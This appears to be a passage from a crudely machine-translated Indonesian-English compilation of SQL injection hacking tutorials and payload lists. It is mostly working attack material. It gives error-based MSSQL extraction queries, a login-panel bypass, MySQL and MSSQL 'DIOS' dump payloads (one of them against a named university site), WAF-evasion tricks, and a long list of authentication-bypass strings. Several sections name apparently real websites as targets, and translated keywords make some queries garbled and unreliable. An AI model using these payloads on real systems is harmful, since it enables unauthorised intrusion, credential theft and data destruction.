  2541. dan 1 = convert (int, (pilih top 1 table_name dari information_schema.tables di mana table_name tidak di ('OUR_PREVIOUS_TABLE_NAME_1', 'OUR_PREVIOUS_TABLE_NAME_2'))) - +
  2542. Jadi Mari Periksa Tabel Lainnya dari Basis Data.
  2543. http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 table_name dari information_schema.tables di mana table_name tidak di ('about'))) - +
  2544. Dan Kami Punya Nama Meja Berikutnya.
  2545.  
  2546. Nama Tabel Berikutnya: aucon
  2547. Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
  2548. [Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal ketika mengkonversi nilai nvarchar 'aucon' ke tipe data int.
  2549. /authorprofile.asp, baris 10
  2550. Dengan cara ini kita akan Terus Mendapatkan tabel Lainnya sampai mendapatkan Tabel yang Diperlukan.
  2551. Di sini kita Mendapat nama Tabel: anggota
  2552. Sekarang mari Dapatkan nama Kolom dari Tabel ini.
  2553. http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 column_name dari information_schema.columns di mana table_name = 'members')) - +
  2554. kami telah mendapat nama Kolom Pertama.
  2555.  
  2556. Ini adalah First Column Name: memberid
  2557. Mari mencoba mendapatkan Kolom lainnya seperti yang kita lakukan untuk mendapatkan tabel lain dari database.
  2558.  
  2559. http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 column_name dari information_schema.columns di mana table_name = 'members' dan column_name tidak di ('memberid') )) - +
  2560. Jadi Setelah Mendapatkan nama Kolom Bagian Terakhir adalah Untuk Mengekstrak Data dari Kolom.
  2561. Ini akan menjadi Pertanyaan Akhir Kita!
  2562. http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = konversi (int, (pilih top 1 OUR_COLUMN_NAME _DI SINI dari OUR_TABLE_NAME_HERE)) - +
  2563. Kueri ini akan Mencetak Data dari Kolom di WebPage.
  2564.  
  2565. -h
  2566.  
  2567. Mem-bypass Login Panel dengan SQL Queries
  2568.  
  2569. http://trentglobal.com/admin
  2570.  
  2571. Kita dapat menggunakan Live HTTP Headers atau Hackbar untuk Post Parameters Injection jadi saya akan Menggunakan Hackbar Untuk Proses ini.
  2572. Sekarang Mari Sisipkan Beberapa Teks dalam kotak nama pengguna dan kata sandi. Setelah Memasukkan Teks Klik pada Tombol LOGIN. Kemudian Aktifkan Data Posting di Hackbar untuk Pelaksanaan Parameter Posting Kita.
  2573.  
  2574. Sekarang Klik LOAD URL Button di Hackbar untuk mendapatkan Parameter POST dalam kotak POST DATA di Hackbar Addon. Di sana kami akan memberikan pertanyaan SQL Injection.
  2575.  
  2576. Ini memberi kami Nama Pengguna dan Kata Sandi yang tidak valid tetapi Anda dapat Melihat Data Pos di Addon Peretasan.
  2577. Berikut adalah Parameter Posting Kami uname = harhar & pwd = 123456 & log_submit = Login
  2578. ayo tambahkan Single Quote setelah uname = harhar 'untuk memeriksa kerentanan SQLi. Dan kemudian Execute the Query.
  2579.  
  2580. Ini Rawan terhadap SQL Injection. Selanjutnya kita akan mengeksekusi Query SQL Berbasis STRING untuk Penyuntikan Lebih Lanjut.
  2581. Sekarang Mari Hitung berapa Banyak Kolom yang ada.
  2582. Jadi Kami akan Berikan Perintah Kami Untuk menghitung Kolom di Parameter Pasca dengan Hackbar.
  2583. order uname = harharharhar sebesar 2% 23
  2584. No Error !!
  2585.  
  2586. uname = 'pesanan sebesar 3% 23
  2587. No Error !!
  2588.  
  2589. order uname = harhar 'sebesar 4% 23
  2590. No Error !!
  2591.  
  2592. uname = 'pesanan sebesar 5% 23
  2593.  
  2594. Kami Punya Kesalahan !! Kolom tidak dikenal '5' di 'klausa pesanan'
  2595. Berarti Ada 4 Jumlah Kolom Total.
  2596. Hmmm Sekarang Mari Jalankan perintah UNION SELECT kami dengan 4 jumlah Kolom.
  2597.  
  2598. BinGOOOO !! Panel Admin Dilewati. Kita sudah mendapat Akses ke Panel Admin Tanpa menggunakan Nama Pengguna atau Kata Sandi dari pengguna Admin.
  2599.  
  2600. -h
  2601. Playing with DIOS #1
  2602.  
  2603. task & rules
  2604. ¤display version with your name
  2605. ¤display count how many column names start with characters id_
  2606. ¤display list of columns (with their database and table name) where column names start with characters id_
  2607.  
  2608. Solution:
  2609.  
  2610. http:p//vuln.net/produit.ph p?id=55 and 0 UNION%0aSELECT 1,2,3,concat(0x3c2f7469746c653e,version(),0x203a3a2050682e683472683472,0x3c42523e,0x6e756d626572206f6620636f6c756d6e73207374617274696e6720776974682069645f2069733a20,count(*),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and((column_name)like(0x69645f25))and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2d2d3e,table_name,0x2d2d3e,column_name))))x),0x3c7469746c653e),5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23 from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f73 6368656d61)and(column_name)like(0x69645f25)--
  2611.  
  2612. ©MasterAjkaro
  2613. -h
  2614.  
  2615. Playing with DIOS #2
  2616.  
  2617. Task & rules
  2618. ¤display version with your name
  2619. ¤display total number of databases
  2620. ¤display total number of tables (without those in information_schema)
  2621. ¤display all table names (excluding those from information_schema) and columns count for each table
  2622.  
  2623. solution......
  2624.  
  2625. http://www.vuln.fr/pages /produit.php?id=55 and 0 UNION SELECT 1,2,3,4,5,6,7,8,9,concat(0x3c62723e,version(),0x3a3a2050682e683472683472,0x3c62723e746f74616c206e756d626572206f66206461746162617365733a20,(select count(*) %0Afrom information_schema.schemata),
  2626. 0x3c62723e746f74616c206e756d626572206f66207461626c657320696e206461746162617365732028776974686f757420696e666f726d6174696f6e5f736368656d61293a20,(select count(*) %0afrom information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61),
  2627. (select(@x)%0afrom(select(@x:=0x00),(select(0)%0afrom(information_schema.tables)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in
  2628. (@x:=concat(@x,0x3c62723e,0x7461626c653a20,@tbl:=table_name,
  2629. 0x202d2d3e20636f6c756d6e733a20,(select(count(*))%0Afrom(information_schema.columns)where(table_name=@tbl))x)
  2630. ),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46-- -
  2631.  
  2632. ©Master Akjkaro
  2633. ~h
  2634.  
  2635. Playing with DIOS #3
  2636.  
  2637. Task & rules
  2638. ¤display version with your name
  2639. ¤display all tables in primary database with records count for each table
  2640.  
  2641. solution....
  2642.  
  2643. http://www.vuln.com /product.php?c=11) and 0 UNION SELECT 1,concat
  2644. (version(),0x50682e683472683472,(select (@x) from (select (@x:=0x00),(select(0)from(information_schema.tables)where(table_schema=database()) and (0x00) in
  2645. (@x:=concat(@x,0x3c62723e,@tbl:=table_name,0x202d2d3e207265636f72647320696e207461626c653a20,(select table_rows from information_schema.tables where table_schema=Database() and table_name=@tbl))x)),3,4,5,6,7,8
  2646.  
  2647. ©Master Ajkaro
  2648. -h
  2649.  
  2650. MSSQL DIOS
  2651.  
  2652. ¤1¤
  2653. ==========================
  2654. http://www.aiou.edu.pk/Programmes.asp?PID=74;begin declare @x varchar(8000),@y int,@z varchar(50),@a varchar(100) declare @myTbl table (name varchar(8000) not null)SET @y=1 SET @x='injected by Me :: '%2b@@version%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Database : '%2bdb_name()%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @z='' SET @a='' WHILE @y<=(SELECT COUNT(table_name) from INFORMATION_SCHEMA.TABLES) begin SET @a='' Select @z=table_name from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in (select name from @myTbl)select @a=@a %2b column_name%2b' : '
  2655. from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=@z insert @myTbl values(@z) SET @x=@x %2bCHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%
  2656. 2b'Table: '%2b@z%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Columns : '%2b@a%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)SET @y = @y%2b1 end select @x as output into diosku END--
  2657.  
  2658. ¤2¤
  2659. ==========================
  2660. http://www.aiou.edu.pk/Programmes.asp?PID=74%20and%200%3D1%20UNION%20SELECT%2b1%2Coutput%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%20from%20diosku--
  2661.  
  2662. ¤3¤
  2663. ==========================
  2664. http://www.aiou.edu.pk/Programmes.asp?PID=74;DROP TABLE diosku--
  2665.  
  2666. ==========================
  2667. ©securityidiots
  2668. -rkx
  2669.  
  2670. The Error Connection Was Reset
  2671.  
  2672. Query :
  2673.  
  2674. id=.1union-- a%0Aselect
  2675. id=1-.1union- a%0Aselect
  2676. id=1'e0union- a%0Aselect
  2677. id=\Nunion- a%0Aselect
  2678. id=1 *9e0union-- -%0aselect
  2679.  
  2680. Please Like and Share our Page :*
  2681.  
  2682. -h
  2683.  
  2684. Hari ini saya akan menunjukkan kepada Anda cara mem-bypass Web Application Firewalls (WAF). Saya akan mendemonstrasikan dari Teknik-Teknik Dasar dan Paling Sederhana ke yang Paling Mahir!
  2685.  
  2686. CATATAN: Jika Anda tidak tahu SQL Injection, baca ini dulu ...
  2687.  
  2688. Apa itu WAF?
  2689.  
  2690. WAF adalah singkatan dari Firewall Aplikasi Web. Hal ini banyak digunakan saat ini untuk mendeteksi dan mempertahankan Suntikan SQL!
  2691.  
  2692. Mari kita mulai!
  2693.  
  2694. Bagaimana cara mengetahui apakah Firewall Aplikasi Web?
  2695.  
  2696. Ini sangat sederhana! Ketika Anda mencoba memasukkan perintah yang digunakan untuk SQL Injections (biasanya perintah "UNION SELECT"), Anda mendapatkan 403 Error (dan situs web mengatakan "Forbidden" atau "Tidak Dapat Diterima").
  2697. Contoh:
  2698.  
  2699. http://www.site.com/index.php?page_id=-15 UNION SELECT 1,2,3,4….
  2700. (Kami mendapatkan kesalahan 403!)
  2701. Metode Dasar / Sederhana:
  2702.  
  2703. Pertama, tentu saja, kita perlu mengetahui Metode Dasar untuk mem-bypass WAF…
  2704.  
  2705. 1) Komentar:
  2706. Anda dapat menggunakan komentar untuk mem-bypass WAF:
  2707.  
  2708. http://www.site.com/index.php?page_id=-15 / *! UNION * / / *! SELECT * / 1,2,3,4….
  2709. (Metode Pertama yang Dapat Menembus WAF)
  2710.  
  2711. Namun, sebagian besar WAF mengidentifikasi metode ini sehingga mereka masih menunjukkan "Forbidden" Error…
  2712.  
  2713. 2) Ubah Kasus Huruf:
  2714. Anda juga dapat mengubah Kasus Perintah:
  2715.  
  2716. http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
  2717. (Metode Dasar Lain untuk Menghindari WAF!)
  2718.  
  2719. Namun, seperti sebelumnya, trik ini juga terdeteksi oleh kebanyakan WAF!
  2720.  
  2721. 3) Gabungkan Metode sebelumnya:
  2722. Yang dapat Anda lakukan adalah menggabungkan dua metode sebelumnya:
  2723.  
  2724. http://www.site.com/index.php?page_id=-15 / *! uNIOn * / / *! SelECt * / 1,2,3,4….
  2725.  
  2726. Metode ini tidak dapat dideteksi oleh banyak Firewall Aplikasi Web!
  2727. 4) Kata Kunci yang Diganti:
  2728. Beberapa Firewall menghapus Pernyataan "UNION SELECT" ketika ditemukan di URL ... Kita dapat melakukan ini untuk mengeksploitasi fungsi ini:
  2729.  
  2730. http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
  2731. (The "union" dan "select" akan dihapus, jadi hasil akhirnya adalah: "UNION SELECT")
  2732.  
  2733. Metode ini tidak berfungsi di SEMUA Firewall, karena hanya sebagian dari mereka yang menghapus perintah "UNION" dan "SELECT" saat terdeteksi!
  2734. 5) Komentar Sejajar:
  2735. Beberapa firewall dilewati dengan Memasukkan Inline Komentar antara "Union" dan "Pilih" Perintah:
  2736.  
  2737. http://www.site.com/index.php?page_id=-15% 55nION / ** /% 53ElecT 1,2,3,4…
  2738. (The% 55 sama dengan "U" dan% 53 sampai "S". Lihat lebih lanjut di Bagian Lanjutan ....)
  2739.  
  2740. Saya percaya bahwa ini adalah metode paling dasar untuk WAF Bypassing! Mari kita lanjutkan dengan yang lebih maju ...
  2741. Metode Lanjutan:
  2742.  
  2743. Sekarang Anda telah belajar tentang Basic WAF Bypassing, saya pikir itu baik untuk memahami Metode yang lebih maju!
  2744.  
  2745. 1) Buffer Overflow / Firewall Crash:
  2746. Banyak Firewall dikembangkan dalam C / C ++ dan kita dapat Crash mereka menggunakan Buffer Overflow!
  2747.  
  2748. http://www.site.com/index.php?page_id=-15+and+(select 1) = (Pilih 0xAA [.. (tambahkan sekitar 1000 "A") ..]) + / *! uNIOn * / + / *! SeLECt * / + 1,2,3,4….
  2749.  
  2750. ((Anda dapat menguji apakah WAF dapat dihancurkan dengan mengetik:
  2751. ? page_id = null% 0A / ** // *! 50000% 55nIOn * // * yoyu * / all / ** /% 0A / *!% 53eLEct * /% 0A / * nnaa * / + 1,2,3 , 4….
  2752.  
  2753. Jika Anda mendapatkan 500, Anda dapat memanfaatkannya menggunakan Metode Buffer Overflow! ))
  2754.  
  2755. 2) Ganti Karakter dengan Nilai HEX mereka:
  2756. Kita dapat mengganti beberapa karakter dengan Nilai HEX (URL-Encoded) mereka.
  2757. Contoh:
  2758.  
  2759. http://www.site.com/index.php?page_id=-15 / *! u% 6eion * / / *! se% 6cect * / 1,2,3,4….
  2760. (yang berarti "memilih serikat")
  2761.  
  2762. Teks ke Hex Encoder (Pilih hasil “Hex Encoded for URL”!): Http://www.swingnote.com/tools/texttohex.php
  2763.  
  2764. 3) Gunakan Variabel atau Perintah lain, bukan yang umum untuk SQLi:
  2765. Terlepas dari "UNION SELECT", perintah lain mungkin diblokir.
  2766. Perintah Umum Diblokir:
  2767. COMMAND | APA YANG HARUS DIGUNAKAN BUKAN
  2768. @@ versi | versi()
  2769. concat () | concat_ws () -> Perbedaan antara concat () dan concat_ws (): http://is.gd/VEeiDU
  2770. group_concat () | concat_ws ()
  2771.  
  2772. Belajar MySQL Sangat membantu dalam masalah seperti itu!
  2773.  
  2774. 4) Misc Exploitable Functions:
  2775. Banyak firewall mencoba menawarkan lebih banyak Perlindungan dengan menambahkan Fungsi Prototipe atau Aneh! (Yang, tentu saja, bisa kita manfaatkan!):
  2776. Contoh:
  2777.  
  2778. Firewall ini di bawah menggantikan "*" (tanda bintang) dengan Whitespaces! Apa yang bisa kita lakukan adalah ini:
  2779.  
  2780. http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4&#8230;
  2781.  
  2782. (Jika Firewall menghapus "*", hasilnya akan menjadi: 15 + union + pilih ....)
  2783. Jadi, jika Anda menemukan fungsi konyol seperti itu, Anda dapat memanfaatkannya, dengan cara ini!
  2784.  
  2785. [+] Selain contoh sebelumnya, beberapa jalan pintas lain mungkin:
  2786.  
  2787. -15+ (uNioN) + (sElECt)….
  2788.  
  2789. -15+ (uNioN + SeleCT) + ...
  2790.  
  2791. -15+ (UnI) (oN) + (SeL) (ecT) +….
  2792.  
  2793. -15 + union (pilih 1,2,3,4…)
  2794.  
  2795. -h
  2796.  
  2797.  
  2798. Error Based IS Double Query
  2799. Error Based = Double Query (Error based 2x)
  2800.  
  2801. Bagaimana Anda tahu Anda harus menggunakan Error
  2802. Berdasarkan / Double Query? (Penting!)
  2803. Ini adalah bagian terpenting dari peretasan web; itu
  2804. jenis injeksi untuk digunakan dalam situasi yang berbeda.
  2805. Anda dapat menggunakan Injeksi Informasi Berbasis Kesalahan / Ganda
  2806. dalam kesalahan berikut yang Anda dapatkan
  2807. Kode:
  2808. Sebuah. Pernyataan Pilih Terpilih
  2809. Memiliki Jumlah Kolom yang Berbeda.
  2810. b. Kolom Tidak Diketahui 1 atau tidak ada kolom di
  2811. semua (di halaman web dan sumber halaman)
  2812. c.Error # 1604
  2813. Sekarang perhatikan kesalahan-kesalahan itu. Anda akan membutuhkannya.
  2814. versi:
  2815. Pendekatan pertama adalah mengetahui versi dari
  2816. database
  2817. Untuk melakukan itu kami memasukkan permintaan ini setelah akhir
  2818. URL
  2819. www.ddaarchitects.co.uk/click.php?bannerID=%27and(select+min(0)+from+(select+1+a+union+se%C2%ADlect+2)b,(select+1+union + pilih + 2) c + grup + oleh + concat ((pilih + mid (concat (table_nam% C2% ADe, 0x3a, group_concat (column_name)), 1,110) dari + information_schema.columns + di mana + ta% C2% ADble_schema = database () + dan + table_name% 3E '% C2% ADappuser'), masukkan (0x0, a, a, now ()))) - +
  2820.  
  2821. Kode:
  2822. www.exmple.com/show?id=4 atau 1 grup oleh concat_ws (0x3a, versi (), floor (rand (0) * 2)) memiliki min (0) atau 1--
  2823. DATABASE GETTING
  2824. Langkah kedua: Mendapatkan nama database
  2825. Untuk mendapatkan basis data, kami memasukkan kueri ini
  2826. Kode:
  2827. dan (pilih 1 dari (pilih hitungan
  2828. (*), concat ((pilih)
  2829. (cast (database () sebagai char), 0x7e))
  2830. dari information_schema.tables di mana
  2831. table_schema = database () limit
  2832. 0,1), lantai (rand (0) * 2)) x dari
  2833. grup information_schema.tables oleh
  2834. x) a)
  2835. Perhatikan fungsi batas dalam kueri
  2836. Sebuah situs web dapat memiliki lebih dari 2 dua basis data, jadi
  2837. tingkatkan batas hingga Anda menemukan semua nama basis data
  2838. Contoh: membatasi 0,1 atau membatasi 1,1 atau membatasi 2,1
  2839.  
  2840. Langkah Ketiga: Mendapatkan NAMA TABEL
  2841.  
  2842. Nama tabel adalah apa yang kita butuhkan sekarang
  2843. Berikut kueri yang dapat kami gunakan:
  2844. Kode:
  2845. dan (pilih 1 dari (pilih hitungan
  2846. (*), concat ((pilih)
  2847. (cor (table_name sebagai char), 0x7e))
  2848. dari information_schema.tables di mana
  2849. table_schema = database () limit
  2850. 0,1), lantai (rand (0) * 2)) x dari
  2851. grup information_schema.tables oleh
  2852. x) a)
  2853. Jangan juga melupakan fungsi LIMIT yang kami gunakan di sini
  2854. untuk mendapatkan nama tabel satu per satu
  2855. CATATAN:
  2856. Sekarang inilah bagian pentingnya:
  2857. Ketika Anda mencari tabel terus bertambah
  2858. batasi sampai Anda menemukan nama tabel yang berharga
  2859. Misalnya: LIMIT 0,1
  2860. LIMIT 1,1
  2861. BATAS 2,1
  2862. Terus tingkatkan jumlahnya sampai Anda menemukan meja
  2863. Anda ingin mengekstrak informasi dari
  2864. Berikut rumusnya: LIMIT N, 1 di mana N adalah a
  2865. bilangan bulat acak
  2866.  
  2867. Langkah Keempat: Mendapatkan Kolom dari spesifik
  2868. NAMA TABEL
  2869.  
  2870. Baiklah, sekarang Anda telah memilih meja Anda
  2871. ingin mengekstrak kolom dari, waktu untuk mengeksekusi
  2872. pertanyaan lain
  2873. Jadi inilah cara ekstraksi kueri kolom akan terlihat
  2874. seperti:
  2875. Kode:
  2876. dan (pilih 1 dari (pilih hitungan
  2877. (*), concat ((pilih)
  2878. (cast (column_name sebagai char), 0x7e))
  2879. dari information_schema.columns
  2880. di mana table_name = batas 0xTABLEHEX
  2881. 0,1), lantai (rand (0) * 2)) x dari
  2882. grup information_schema.tables oleh
  2883. x) a)
  2884. Perhatikan LIMIT 0,1 FUNCTION dan 0xTABLEHEX
  2885. Anda perlu mengonversi tabel spesifik Anda menjadi hex
  2886. dan tambahkan 0x di awal string sehingga
  2887. dapat dibaca ke situs web
  2888. Untuk mengonversi string menjadi heksadesimal: http: //
  2889. www.swingnote.com/tools/texttohex.php
  2890. CATATAN:
  2891. Anda perlu menaikkan batas sampai Anda menemukan
  2892. kolom berharga seperti userName dan
  2893. kata sandi.
  2894.  
  2895. Langkah Kelima: Mengekstrak data dari Kolom
  2896.  
  2897. Baiklah bagian ini mungkin yang terbaik di SQL
  2898. menyuntikkan situs.
  2899. Saatnya untuk mendapatkan info dari kolom yang kita miliki
  2900. Untuk melakukan itu, gunakan query ini
  2901. Kode:
  2902. dan (pilih 1 dari (pilih hitungan
  2903. (*), concat ((pilih)
  2904. (dilemparkan (concat
  2905. (COLUMN_NAME, 0x7e, COLUMN_NAME) sebagai
  2906. char), 0x7e)) dari
  2907. Batas Databasename.TABLENAME
  2908. 0,1), lantai (rand (0) * 2)) x dari
  2909. grup information_schema.tables oleh
  2910. x) a)
  2911.  
  2912. Atau Anda dapat melakukan (@: = 1) atau @ grup + oleh + concat (versi
  2913. (), @: =! @) + memiliki + mnt (0)
  2914.  
  2915. © LUNATIC
  2916.  
  2917. ~ h
  2918.  
  2919. Comment Name
  2920. -- : MySQL Linux Style
  2921. --+ : MySQL Windows Style
  2922. # : Hash (URL encode while use)
  2923. --+- : SQL Comment
  2924. ;%00 : Null Byte
  2925. ` : Backtick
  2926.  
  2927. Variable/Function Output
  2928. @@hostname : Current Hostname
  2929. @@tmpdir : Tept Directory
  2930. @@datadir : Data Directory
  2931. @@version : Version of DB
  2932. @@basedir : Base Directory
  2933. user() : Current User
  2934. database() : Current Database
  2935. version() : Version
  2936. schema() : current Database
  2937. UUID() : System UUID key
  2938. current_user() : Current User
  2939. current_user : Current User
  2940. system_user() : Current Sustem user
  2941. session_user() : Session user
  2942. @@GLOBAL.have_symlink : Check if Symlink Enabled or Disabled
  2943. @@GLOBAL.have_ssl : Check if it have ssl or not
  2944.  
  2945. integer based ::
  2946.  
  2947. --
  2948. -- -
  2949. --+-
  2950. )--
  2951. )-- -
  2952. )--+-
  2953. ))--
  2954. ))-- -
  2955. ))--+-
  2956. ;%00
  2957. ) ;%00
  2958. ));%00
  2959. %23
  2960. %60
  2961. %90
  2962. and 1=1
  2963. and '1'='1
  2964. and (1)=(1
  2965. php?id=(1) -- -
  2966.  
  2967. string based ::
  2968.  
  2969. '--+-
  2970. ')-- -
  2971. ')--+-
  2972. '))-- -
  2973. '))--+-
  2974. ';%00
  2975. ');%00
  2976. '));%00
  2977. '%23
  2978. '%60
  2979. '%90
  2980. ' and 1=1
  2981. ' and '1'='1
  2982. ' and (1)=(1
  2983. php?id=(1') -- -
  2984.  
  2985. string based double quotes ::
  2986.  
  2987. "-- -
  2988. "--+-
  2989. "%23
  2990. ")-- -
  2991. ")--+-
  2992. "))--+-
  2993. ";%00
  2994. ") ;%00
  2995. "));%00
  2996. "%60
  2997. "%90
  2998. " and 1=1
  2999. " and '1'='1
  3000. " and (1)=(1
  3001. php?id=(1") -- -
  3002.  
  3003. ©
  3004. ~h
  3005.  
  3006. ADMIN LOGIN BRUTE FORCE
  3007.  
  3008. 'or 1=1 limit 1 -- -+
  3009. 'or''='
  3010. ' or '1'='1
  3011. ' or 'x'='x
  3012. ' or 0=0 --
  3013. " or 0=0 --
  3014. or 0=0 --
  3015. ' or 0=0 #
  3016. " or 0=0 #
  3017. or 0=0 #
  3018. ' or 'x'='x
  3019. " or "x"="x
  3020. ') or ('x'='x
  3021. ' or 1=1--
  3022. " or 1=1--
  3023. or 1=1--
  3024. ' or a=a--
  3025. " or "a"="a
  3026. ') or ('a'='a
  3027. ") or ("a"="a
  3028. hi" or "a"="a
  3029. hi" or 1=1 --
  3030. hi' or 1=1 --
  3031. 'or'1=1'
  3032. ==
  3033. and 1=1--
  3034. and 1=1
  3035. ' or 'one'='one--
  3036. ' or 'one'='one
  3037. ' and 'one'='one
  3038. ' and 'one'='one--
  3039. 1') and '1'='1--
  3040. admin' --
  3041. admin' #
  3042. admin'/*
  3043. or 1=1--
  3044. or 1=1#
  3045. or 1=1/*
  3046. ) or '1'='1--
  3047. ) or ('1'='1--
  3048. ' or '1'='1
  3049. ' or 'x'='x
  3050. ' or 0=0 --
  3051. " or 0=0 --
  3052. or 0=0 --
  3053. ' or 0=0 #
  3054. " or 0=0 #
  3055. or 0=0 #
  3056. ' or 'x'='x
  3057. " or "x"="x
  3058. ') or ('x'='x
  3059. ' or 1=1--
  3060. " or 1=1--
  3061. or 1=1--
  3062. ' or a=a--
  3063. " or "a"="a
  3064. ') or ('a'='a
  3065. ") or ("a"="a
  3066. hi" or "a"="a
  3067. hi" or 1=1 --
  3068. hi' or 1=1 --
  3069. 'or'1=1'
  3070.  
  3071. ~h
  3072.  
  3073. [~] information_schema.tables [~]
  3074.  
  3075. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
  3076.  
  3077. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
  3078.  
  3079. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
  3080.  
  3081. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
  3082.  
  3083. /*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
  3084.  
  3085. /*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table
  3086.  
  3087. ~h
  3088.  
  3089. Injeksi Berbasis Kesalahan
  3090. ---------------------
  3091. Injeksi berbasis kesalahan dikerahkan pada database yang didukung oleh MS-SQL.
  3092.  
  3093. Database: MY-SQL: PHP
  3094. MS-SQL: .asp atau .aspx
  3095.  
  3096. Probelm dengan Injeksi Berbasis Kesalahan untuk Peretas
  3097. -----------------------------------------------
  3098. 1. Versi () dan database () tidak berfungsi !!
  3099. Solusi: @@ version
  3100.  
  3101. 2. Anda tidak dapat memanggil semua tabel dari database yang diberikan melalui information_schema.
  3102.  
  3103. 3. Anda tidak dapat mengekstrak kolom dari tabel target Anda dalam satu perjalanan.
  3104.  
  3105. Mengapa dikenal sebagai Injeksi Berbasis Kesalahan
  3106. -----------------------------------------
  3107. Itu berarti Anda akan mendapatkan data dalam kesalahan.
  3108.  
  3109. Target: vulnweb.com: Ini adalah kerangka kerja praktik dari sebuah perusahaan bernama Acunetix.
  3110.  
  3111. Ia memiliki semua praktek serangan teknologi MY-SQL dan MS-SQL.
  3112.  
  3113. Langkah 1: Dapatkan metode GET apa pun di URL situs web. I.e Kita harus mencari SOmethoing = Sesuatu.
  3114. http://testasp.vulnweb.com/showforum.asp?id=0
  3115.  
  3116. Langkah 2: Periksa penanganan pengecualian.
  3117. http://testasp.vulnweb.com/showforum.asp?id=0 '
  3118.  
  3119. Langkah 3: Periksa kondisi yang diperlukan untuk serangan lebih lanjut.
  3120. http://testasp.vulnweb.com/showforum.asp?id=0 dan 1 = 0;
  3121.  
  3122. NOte: Error Based Injection bekerja pada aturan LIFO. Terakhir di First out.
  3123.  
  3124. Sebagai contoh: Jika kita memiliki database dengan tabel seperti berikut
  3125. utas -> 1
  3126. guru-> 2
  3127. kelas-> 3
  3128. biaya-> 4
  3129. pengguna-> 5
  3130.  
  3131. Langkah 4: http://testasp.vulnweb.com/showforum.asp?id=0 dan
  3132. 1 = convert (int, (pilih top 1 table_name dari information_schema.tables));
  3133.  
  3134. Punya Tabel: 'utas' X
  3135. http://testasp.vulnweb.com/showforum.asp?id=0 dan
  3136. 1 = convert (int, (pilih top 1 table_name dari information_schema.tables di mana table_name tidak di ('thread')));
  3137.  
  3138. Target: 'pengguna'
  3139.  
  3140. Langkah 5: Dapatkan kolom masing-masing tabel pengguna
  3141. http://testasp.vulnweb.com/showforum.asp?id=0 dan
  3142. 1 = convert (int, (pilih top 1 column_name dari information_schema.columns di mana table_name = 'users' dan column_name tidak dalam ('uname')));
  3143.  
  3144. Kolom Target: uname, upass
  3145.  
  3146. Langkah 6: Dapatkan yang tidak benar dan upass
  3147. http://testasp.vulnweb.com/showforum.asp?id=0 dan
  3148. 1 = mengkonversi (int, (pilih top 1 upass dari pengguna));
  3149.  
  3150. uname: admin
  3151. upass: tidak ada
  3152.  
  3153.  
  3154.  
  3155. Pengantar Firewall Aplikasi Web dan IDS dan IPS
  3156.  
  3157. www.iamrahultyagi.in officialrahultyagi.in
  3158. -------------------------------------------------- ----------------
  3159. Firewall Aplikasi Web: Ketika pemilik situs web menyebarkan perangkat lunak aplikasi yang berisi semua jenis database serangan di dalamnya dan menyaring permintaan yang digunakan oleh vistor, maka kita dapat mengatakan bahwa aplikasi yang digunakan di situs web adalah firewall aplikasi web.
  3160.  
  3161. Jenis WAF
  3162. ---------------------
  3163. 1. Perangkat Lunak WAF: Ini adalah teknologi firewall yang seperti aplikasi perangkat lunak yang dapat diinstal pada server web dan karenanya dapat digunakan untuk mengisi konten yang diminta.
  3164.  
  3165. Linux: Keamanan Mod: Gratis | Dibayar: .php
  3166. Windows: Dot Defender: Dibayar:. asp aspx
  3167.  
  3168. 2. Hardware WAF: Ini adalah sistem UTM (Unified Threat Management Systems) yaitu berisi Antivirus + Firewall + IDS dan IPS + Web Filteration untuk Konten dll dll.
  3169.  
  3170. Keamanan Mod: Mod Security datang untuk menggambarkan pada awal tahun 2008 ketika peretas berada di puncak dan merusak situs web di seluruh dunia. Ini adalah era ketika ada banyak firewall berbayar tetapi tidak ada solusi untuk organisasi tingkat menengah.
  3171.  
  3172. Mod Security datang dan memberikan sedikit harapan kepada pemilik situs web bahwa mereka akan melindungi dari peretas.
  3173.  
  3174. Masalah
  3175. --------
  3176. 1. Database serangan terbatas.
  3177. 2. Sumber terbuka tetapi kekurangan dana.
  3178.  
  3179. OWASP TOP 10 Serangan yang mereka lakukan terbuka. Panggilan ke Peretas.
  3180.  
  3181. Cara Memasang Keamanan Mod di Ubuntu
